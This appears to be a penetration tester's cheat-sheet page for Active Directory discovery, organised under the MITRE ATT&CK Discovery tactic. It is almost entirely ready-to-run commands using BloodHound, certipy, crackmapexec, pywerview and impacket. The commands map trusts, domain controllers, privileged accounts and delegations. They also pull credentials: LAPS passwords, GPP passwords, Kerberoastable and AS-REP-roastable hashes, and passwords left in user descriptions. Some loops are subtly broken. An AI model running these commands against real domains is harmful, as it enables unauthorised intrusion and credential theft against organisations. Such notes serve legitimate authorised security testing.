Skip to main content Link Menu Expand (external link) Document Search Copy Copied

pen / ad / discov

Mitre Att&ck Entreprise: TA0007 - Discovery

Menu

prereq

load-env

tools

_repo_last_push_stars_watch_language

collect

adexplorersnapshot

  • usage: convert ADExplorer snapshot to BloodHound json files:
    mkdir $zdom_dc_fqdn
    ADExplorerSnapshot.py -o $zdom_dc_fqdn -m BloodHound $zdom_dc_fqdn".dat"
    

bloodhound.py

bloodhound.py -c DConly -dc $zdom_dc_fqdn -u $ztarg_user_name -p $ztarg_user_pass -d $zdom_fqdn

Collection methods are not the same as sharphound’s ones.

certipy

# download the bloodhound customqueries made by ly4k
cd ~/.config/bloodhound​
wget https://raw.githubusercontent.com/ly4k/Certipy/main/customqueries.json​

# run the tool certipy as per below​
certipy find –u $ztarg_user_name@$zdom_fqdn -p $ztarg_user_pass –dc-ip $zdom_dc_ip –bloodhound​

# drag and drop the ZIP result file into BloodHound GUI

dnschef

# set up a nameserver in localhost
sudo dnschef --fakeip $zdom_dc_ip --fakedomains $zdom_fqdn -q

# add the ns option to bloodhood.py `-ns 127.0.0.1` 
bloodhound.py -c DConly -dc $zdom_dc_fqdn -u $ztarg_user_name -p $ztarg_user_pass -d $zdom_fqdn -ns 127.0.0.1

shoot

SHOOT General Properties :

shoot-forest

# Enum domains and trusts: V1
pywerview.py get-netdomaintrust -w $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass --dc-ip $zdom_dc_ip > $zcase"_get-netdomaintrust.txt"
grep "trustpartner" $zcase"_get-netdomaintrust.txt" | cut -d" " -f5

# Enum domains and trusts: V2
rpcclient -U $ztarg_user_name --password $ztarg_user_pass -I $ztarg_dc_ip  
rpcclient> enumdomains
rpcclient> enumtrusts

# Enum domains and trusts: V3
./bloodhound.py -dc $zdom_dc_fqdn -d $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass -c Trusts
python
>>> import json
with open ("X.json","r+") as f:                                                                                     
	c = content['data'][0]['Trusts']
	for t in c:
		print(t['TargetDomainName'] + "," + str(t['IsTransitive']) + "," + t['TrustDirection'] + "," + t['TrustType'])

# Get the IP subnetting / IP plan
cut -f1 -d" " trusts.txt > $zcase"_trusts_clean.txt"
for i in `cat $zcase"_trusts_clean.txt"`; do ping -a $i; done

shoot-dns

# https://github.com/dirkjanm/adidnsdump
# https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/

# get DNS zones
adidnsdump -u $zdom"\\"$ztarg_user_name -p $ztarg_user_pass --print-zones $zdom_dc_ip

# get zone content, generate 'results.csv' in the current dir
adidnsdump -u $zdom"\\"$ztarg_user_name -p $ztarg_user_pass --zone $zdom_fqdn $zdom_dc_ip

# keywords per target
# vcenter vmw hyper adm docker ilo pam vdi vault
# webcam print prt share file nfs cifs ftp ldap
# kibana elastic sql db hadoop splunk siem qradar
# sap crm
keyword=""
grep "A," records.csv | grep -i $keyword 

shoot-dom

shoot-dcs

# scanning the lan
nmap $zdom_fqdn --script broadcast-dhcp-discover
sudo tcpdump -ni eth0 udp port 67 and port 68

# dig : listing the DCs
dig -t SRV _ldap._tcp.dc._msdcs.$zdom_fqdn | grep "^[a-zA-Z]" | cut -f1 -d"." | sort -u
# listing the PDCs
dig -t SRV _ldap._tcp.pdc.msdcs.$zdom_fqdn | grep "^[a-zA-Z]" | cut -f1 -d"." | sort -u
# dig: listing the GCs
dig -t SRV _ldap._tcp.gc._msdcs.$zdom_fqdn | grep "^[a-zA-Z]" | cut -f1 -d"." | sort -u
# dig : listing the KDCs
dig -t SRV _kerberos._tcp.dc.msdcs.$zdom_fqdn | grep "^[a-zA-Z]" | cut -f1 -d"."
# dig : listing the kerberos change password services
dig -t SRV _kpasswd._tcp.$zdom_fqdn | grep "^[a-zA-Z]" | cut -f1 -d"." | sort -u
# dig : find domain from its GUID
GUID="12345678-1234-1234-1234-123456789ab"
dig -t SRV $GUID"._msdcs."$zdom_fqdn

nmap $zdom_fqdn --script dns-srv-enum --script-args "dns-srv-enum.domain='$zdom_fqdn'"

nbtscan -r 10.0.0.0/24

shoot-adcs

# audit the certificate templates
certipy find -u $ztarg_user_name -p $ztarg_user_pass $zdom_fqdn 

# who can manage certificates ?

shoot-desc-users

cme ldap -u $ztarg_user_name -p $ztarg_user_pass -kdcHost $zdom_dc_fqdn -d $zdom_fqdn -M get-desc-users > $zcase"_cme_ldap_get-desc-users.txt"
grep -i "pass|pw|=" $zcase"_cme_ldap_get-desc-users.txt"

shoot-laps

# https://github.com/n00py/LAPSDumper
python laps.py -u $ztarg_user_name -p $ztarg_user_pass -d $zdom_fqdn

shoot-pwd-notreqd

# NT hash for empty password: 31D6CFE0D16AE931B73C59D7E0C089C0
# Ldapsearch 
ldapsearch (&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) cn 

# BloodHound 
MATCH (n:User {enabled: True, passwordnotreqd: True}) RETURN n

source: learn.microsoft

shoot-pwd-policy

crackmapexec smb $zdom_dc_ip -u $ztarg_user_name -p $ztarg_user_pass --pass-pol

# Get the domain pasword policy
# rpcclient -U $ztarg_user_name --password $ztarg_user_pass -I $ztarg_dc_ip (DEPRECATED)
rpcclient -k -I $zdom_dc_ip  
rpcclient> getdompwinfo

shoot-delegations

# with password in the CLI
zz=$zdom_fqdn'/'$ztarg_user_name':'$ztarg_user_pass 
findDelegation.py  $zz -dc-ip $zdom_dc_ip

# with kerberos auth / password not in the CLI
zz=$zdom_fqdn'/'$ztarg_user_name
findDelegation.py  $zz -k -no-pass

# enum attribute ms-DS-AllowedToActOnBehalfOfOtherIdentity
ztarg_computer_name=""
pywerview.py get-netcomputer -w $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass --dc-ip $zdom_dc_ip --computername $ztarg_computer_name
grep ms-DS-AllowedToActOnBehalfOfOtherIdentity

References :

shoot-priv-users

*Scanning for Active Directory Privileges & Privileged Accounts by Seam MetCalf, the 14/06/2017.

# privileged group
ztarg_group_name="Administrators"; ztarg_group_nick="adm"
ztarg_group_name="Backup Operators"; ztarg_group_nick="bo"
ztarg_group_name="Cert Publishers"; ztarg_group_nick="cp"
ztarg_group_name="DHCP Administrators"; ztarg_group_nick="dhcp"
ztarg_group_name="DNSAdmins"; ztarg_group_nick="dns"
ztarg_group_name="Domain Admins"; ztarg_group_nick="da"
ztarg_group_name="Enterprise Admins"; ztarg_group_nick="ea"
ztarg_group_name="Event Log Readers"; ztarg_group_nick="elogr"
ztarg_group_name="Group Policy Creator Owners"; ztarg_group_nick="gpco"
ztarg_group_name="Hyper-V administrators"; ztarg_group_nick="hyperv"
ztarg_group_name="network configuration operators"; ztarg_group_nick="netconf"
ztarg_group_name="Remote Desktop Users"; ztarg_group_nick="rdp"
ztarg_group_name="Server operators"; ztarg_group_nick="so"
echo $ztarg_group_name; pywerview.py get-netgroupmember -w $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass --dc-ip $zdom_dc_ip -r > "$zcase""_get-netgroupmember_""$ztarg_group_nick"".txt"

# list the samaccountname
echo $ztarg_group_name
cat "$zcase""_get-netgroupmember_""$ztarg_group_nick"".txt" | grep membername |awk '{print $2}'

# V1: display samaccountname with admincount = 1
pywerview.py get-netuser -w $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass --dc-ip $zdom_dc_ip --admin-count > "$zcase""_get-netuser_admincount.txt"
cat "$zcase""_get-netuser_admincount.txt" | grep samaccountname |awk '{print $2}' |sort
cat "$zcase""_get-netuser_admincount.txt" | grep "samaccountname\|description" | cut -f2 -d":"

# V2: display samaccountname with admincount = 1
bloodhound.py -c Group --domain $zdom_fqdn -dc $zdom_dc_fqdn -u $ztarg_user_name -p $ztarg_user_pass
cat users.json | jq -r '.data[].Properties | select((.admincount==true) and .enabled==true) | .samaccountname'

shoot-priv-machines

# DC v1
dig -t SRV _gc._tcp.$zdom_fqdn | grep "^[a-z]"

# DC v2
ztarg_ou="OU=Domain Controllers,"$zdom_dn; ztarg_ou_nick="dc"
echo $ztarg_ou; pywerview.py get-adobject -w $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass --dc-ip $zdom_dc_ip -a "$ztarg_ou" > "$zcase""_get-adobject_""$ztarg_ou_nick"".txt"

# DC v2 : list the samaccountname
echo $ztarg_ou
cat "$zcase""_get-adobject_""$ztarg_ou_nick"".txt" | grep samaccountname |awk '{print $2}'

DS-Replication-Get-Changes
DS-Replication-Get-Changes-In-Filtered-Set

# Computers with older OS versions


# Computers with password last set over 90 days ago
 

shoot-gpo

shoot-gpp

# cme
crackmapexec smb $zdom_dc_ip -u $ztarg_user_name -p $ztarg_user_pass -M gpp_pasword
crackmapexec smb $zdom_dc_ip -u $ztarg_user_name -p $ztarg_user_pass -M gpp_autologin
# impacket
Get-GPPPassword.py $zz@$zdom_dc_ip

shoot-shares

shoot-mssql-servers

shoot-spns

# https://github.com/fortra/impacket/blob/master/examples/GetUserSPNs.py
GetUserSPNs.py $zdom_fqdn/$ztarg_user_name -k -no-pass -dc-ip $zdom_dc_ip -request >> getuserspns_$zdom_dc".data"
GetUserSPNs.py $zz -dc-ip $zdom_dc_ip -request >> getuserspns_$zdom_dc".data"
grep "krb5tgs" getuserspns_$zdom_dc".data" > getuserspns_$zdom_dc".tgs"

shoot-npusers

# https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py
GetNPUsers.py $zz -dc-ip $zdom_dc_ip -request >> np_users.txt 

shoot-dacl

shoot-gmsa

iter

iter-sid

iter-memberof

User groups:

# Get user info
ztarg_user_next=""
ztarg_computer=""
date_now=$(date "+%F-%H%M")
pywerview.py get-netuser -w $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass --dc-ip $zdom_dc_ip --username $ztarg_user_next > $zcase"_getnetuser_"$ztarg_user_next".txt"
pywerview.py get-netuser -w $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass --dc-ip $zdom_dc_ip --username $ztarg_user_next > $zcase"_getnetuser_"$ztarg_user_next"_"$ztarg_computer"_"$date_now".txt"

# Get user info + canarytoken check
# select cn, whenCreated, accountExpires, pwdLastSet, lastLogon, logonCount, badPasswordTime, badPwdCount
egrep -i  "^(cn|whenCreated|accountExpires|pwdLastSet|lastLogon|logonCount|badPasswordTime|badPwdCount)" $zcase"_"$ztarg_computer"_"$ztarg_user_next".txt"

# Get user memberof info
pywerview.py get-netgroup -w $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass --dc-ip $zdom_dc_ip --username $ztarg_user_next | grep -v "^$" | cut -f2 -d" "  > $zcase"_getnetgroup_xxx.txt"

# Get the machine's full-data
pywerview.py get-netcomputer -w $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass --dc-ip $zdom_dc_ip --computername $ztarg_user_next --full-data > $zcase"_getnetcomputer_xxx.txt"

# Get the machines based on an adspath / OU
ztarg_ou="OU=Workstations,"$zdom_fqdn
ztarg_adspath="ldap://$ztarg_ou"
pywerview.py get-netcomputer -w $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass -a $ztarg_adspath --dc-ip $zdom_dc_ip | grep -v "^$" | cut -f2 -d" " > $zcase"_getnetcomputer_ou_x.txt"

# Get the GPO based on an adspath / OU
pywerview.py get-netgpo -w $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass -a $ztarg_adspath --dc-ip $zdom_dc_ip > $zcase"_getnetgpo_ou_x.txt"

iter-scope

# Find where the account is local admin V1
./bloodhound.py -dc $zdom_dc_ip -d $zdom_fqdn -u $ztarg_user_name -p XXX -c LocalAdmin --computerfile $zcase"_getnetcomputer_ou_x.txt"
cat x_computers.json | jq '.data[] | select(.LocalAdmins.Collected==true)'| jq '.Properties.name' > $zcase"_fla_pwn.txt"

# Find where the account is local admin V2
cme winrm $zcase"_getnetcomputer_ou_x.txt" -d $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass
cme smb $zcase"_getnetcomputer_ou_x.txt" -d $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass

# Get the DNs of the owned machines 
# Get the DNs of the owned machines / get the cn computer (1 line) and its DN (1 line)
while read ztarg_computer_fqdn; python pywerview.py get-netcomputer --computername $ztarg_computer_fqdn -w $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass --dc-ip $zdom_dc_ip --attributes cn distinguishedName >> $zcase"_fla_pwn_dn.txt"; done < $zcase"_fla_pwn.txt"
# Get the DNs of the owned machines / format the result returned to CSV
i=0; while read line; do i=$(($i+1)); if [[ $i == 1 ]]; then echo $line | sed 's/^.*:\s\(.*\)$/\1/' | tr '\n' ',' >> pt_XXX_fla_pwn_dn.csv ; elif [[ $i == 2 ]]; then echo $line | sed 's/^.*:\s\(.*\)$/\1/' >> pt_XXX_fla_pwn_dn.csv; i=0; fi; done < $zcase"_fla_pwn_dn.txt"

# Get the OS of the owned machines /
# Get the OS of the owned machines / get the cn computer (1 line) and its OS (1 line)
while read ztarg_computer_fqdn; python pywerview.py get-netcomputer --computername $ztarg_computer_fqdn -w $zdom_fqdn -u $ztarg_user_name -p $ztarg_user_pass --dc-ip $zdom_dc_ip --attributes cn operatingSystem >> $zcase"_getcomputer_XXX_os.txt"; done < $zcase"_pwned_machines.txt"

# Get the OS of the owned machines / format the result returned to CSV
i=0; while read line; do i=$(($i+1)); if [[ $i == 1 ]]; then echo $line | sed 's/^.*:\s\(.*\)$/\1/' | tr '\n' ',' >> $zcase"_getnetcomputer_XXX_os.csv ; elif [[ $i == 2 ]]; then echo $line | sed 's/^.*:\s\(.*\)$/\1/' >> $zcase"_getnetcomputer_XXX_os.csv; i=0; fi; done < $zcase"_getcomputer_XXX_os.txt"

iter-dacl

credit: thehacker.repices ad privesc DACLs

# STEP 1: global gathering

iter-gpos

# gui
gpedit.msc
# cli
rsop 
gpresult /Z /scope:computer > XXX_gpresult_computer.txt

refresh

check-computer-sessions

netview.py $zz -target $ztarg_computer_ip
netview.py $zz -target $ztarg_computer_ip -user $ztarg_user_name

last-logons

pywerview get-netgroupmember --groupname "Domain Admins" -u $ztarg_user_name -p $ztarg_user_pass -w $zdom_fqdn --dc-ip $zdom_dc_ip -r --full-data | grep -i "samaccountname\|pwdlastset"
pywerview get-netgroupmember --groupname "Domain Admins" -u $ztarg_user_name -p $ztarg_user_pass -w $zdom_fqdn --dc-ip $zdom_dc_ip -r --full-data | grep -i "samaccountname\|pwdlastset\|lastlogontimestamp"

last-logons-computer

last-logons-ou

# who is logged on a computer

whereis-user

whereis-group

sources